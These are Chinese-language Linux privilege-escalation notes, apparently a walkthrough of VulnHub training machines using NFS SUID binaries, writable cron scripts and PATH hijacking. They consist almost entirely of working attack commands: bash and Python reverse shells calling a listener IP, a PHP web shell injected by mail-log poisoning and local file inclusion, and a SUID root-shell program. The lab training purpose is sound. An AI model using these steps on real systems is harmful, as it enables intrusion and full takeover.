#Linux系统提权-Web&用户-NFS安全

NFS是一种基于TCP/IP 传输的网络文件系统协议，通过使用NFS协议，客户机可以像访问本地目录一样访问远程服务器中的共享资源。

https://www.virtualbox.org/wiki/Downloads

https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/

提升条件：NFS服务开启和web或用户权限进行利用

1、信息收集：

nmap 192.168.1.6

http://192.168.1.6/file.php?file=/etc/passwd

2、NFS服务利用

showmount -e 192.168.1.6

mkdir nfs

mount -t nfs 192.168.1.6:/mnt/nfs ./nfs

chmod 777 shell.php

3、配合SUID提权

注意gcc编译机器与目标机内核版本相似

#include<stdlib.h>

#include<unistd.h>

int main()

{

setuid(0);

system("id");

system("/bin/bash");

}

gcc getroot.c -o getroot

cp getroot /root/nfs #复制bash到挂载目录下

chmod +s getroot #赋予suid权限

find / -perm -u=s -type f 2>/dev/null 再看看是否加入

cd /mnt/nfs # 目标机

./getroot # 目标机

 

#Linux系统提权-Web&用户-Cron任务

https://www.vulnhub.com/entry/jarbas-1,232/

提升条件：Web或用户权限进行查看，任务文件可修改

1、信息收集：

http://192.168.139.152/access.html

2、权限获取：

http://192.168.139.152:8080/

Jenkins创建任务，添加反弹，立即构建

3、权限提升：

cat /etc/crontab

cat /etc/script/CleaningScript.sh #查看脚本内容

ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限

echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh

 

#Linux系统提权-Web&用户-PATH变量

https://www.vulnhub.com/entry/symfonos-1,322/

提升条件：存在SUID的应用中能可逆向出执行命令，加用户权限

1、信息收集：

smbclient -L 192.168.139.153

 

2、权限获取：

smbclient //192.168.139.153/anonymous

smbclient //192.168.139.153/helios -U helios

helios \ qwerty

 

3、漏洞利用

wpscan --url http://192.168.139.153/h3l105/ --plugins-detection aggressive

searchsploit mail masta 1.0

 

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

 

telnet 192.168.139.153 25

MAIL FROM: MALABIS

RCPT TO: helios

data

<?php system($_GET['shell']); ?>

.

QUIT

 

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=/bin/bash%20-i%20%3E&%20/dev/tcp/192.168.139.141/6666%200%3E&1

 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

 

4、权限提升：

python -c 'import pty;pty.spawn("/bin/bash")'

find / -perm -u=s -type f 2>/dev/null

strings /opt/statuscheck

cd /tmp

echo "/bin/sh" > curl

chmod 777 curl

export PATH=/tmp:$PATH

echo $PATH

/opt/statuscheck